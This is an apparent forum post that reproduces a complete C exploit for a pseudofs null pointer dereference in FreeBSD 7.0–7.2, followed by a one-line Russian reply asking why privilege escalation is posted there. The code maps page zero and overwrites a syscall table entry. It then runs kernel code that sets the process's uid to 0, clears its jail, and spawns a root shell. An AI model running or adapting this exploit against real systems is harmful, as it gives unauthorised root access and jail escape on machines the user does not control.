FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation

[look26]

/*

 * source: http://www.securityfocus.com/bid/43060/info

 * 18.08.2010, babcia padlina

 * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit

 *

 *

 * to obtain SYSENT8_SYCALL_ADDR, run:

 * $ kgdb /boot/kernel/kernel

 * (kgdb) print &sysent[8].sy_call

 */

 

#define SYSENT8_SYCALL_ADDR 0xc0c4afa4  /* FreeBSD 7.2-RELEASE */

 

#define _KERNEL

 

#include <sys/param.h>

#include <sys/conf.h>

#include <sys/ucred.h>

 

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <string.h>

#include <stdlib.h>

 

#include <sys/types.h>

#include <sys/mman.h>

#include <sys/proc.h>

#include <sys/types.h>

#include <sys/extattr.h>

#include <sys/uio.h>

#include <sys/turnstile.h>

#include <sys/queue.h>

 

struct turnstile {

    struct mtx ts_lock;

    struct threadqueue ts_blocked[2];

    struct threadqueue ts_pending;

    LIST_ENTRY(turnstile) ts_hash;

    LIST_ENTRY(turnstile) ts_link;

    LIST_HEAD(, turnstile) ts_free;

    struct lock_object *ts_lockobj;

    struct thread *ts_owner;

};

 

volatile int gotroot = 0;

 

static void kernel_code(void) {

    struct thread *thread;

 

    asm(

        "movl %%fs:0, %0"

        : "=r"(thread)

    );

 

    /*

     * kernel_code() is called while thread is in critical section,

     * so we need to unset td_critnest flag to prevent panic after

     * nearest user mode page fault.

     */

    thread->td_critnest = 0;

    thread->td_proc->p_ucred->cr_uid = 0;

    thread->td_proc->p_ucred->cr_prison = NULL;

    gotroot = 1;

 

    return;

}

 

int main(int argc, char **argv) {

    struct turnstile *ts = 0;

 

    if (access("/proc/curproc/cmdline", R_OK)) {

        printf("procfs not found.\n");

        return -1;

    }

 

    if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {

        printf("mmap 0x0 failed.\n");

        return -1;

    }

 

    memset(0, 0, PAGE_SIZE);

 

    /*

     * we need to call dummy extattr_get_link() here, to make

     * libc memory pages accessible without user mode page fault. without

     * it, panic will occur after next extattr_get_link().

     */

    extattr_get_link("/dev/null", 0, 0, 0, 0);

 

    /* overwrite sysent[8].sy_call with 0x0 */

    ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);

    extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);

 

    *(char *)0x0 = 0x90;

    *(char *)0x1 = 0xe9;

    *(unsigned long *)0x2 = &kernel_code;

 

    asm(

        "movl $0x8, %eax;"

        "int $0x80;"

    );

 

    if (gotroot) {

        printf("oops, I did it again.\n");

        setuid(0);

        setgid(0);

        execl("/bin/sh", "sh", NULL);

    }

 

    printf("exploit failed.\n");

 

    return 0;

}

 

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[Shambler]

повышение привелегий? зачем это тут?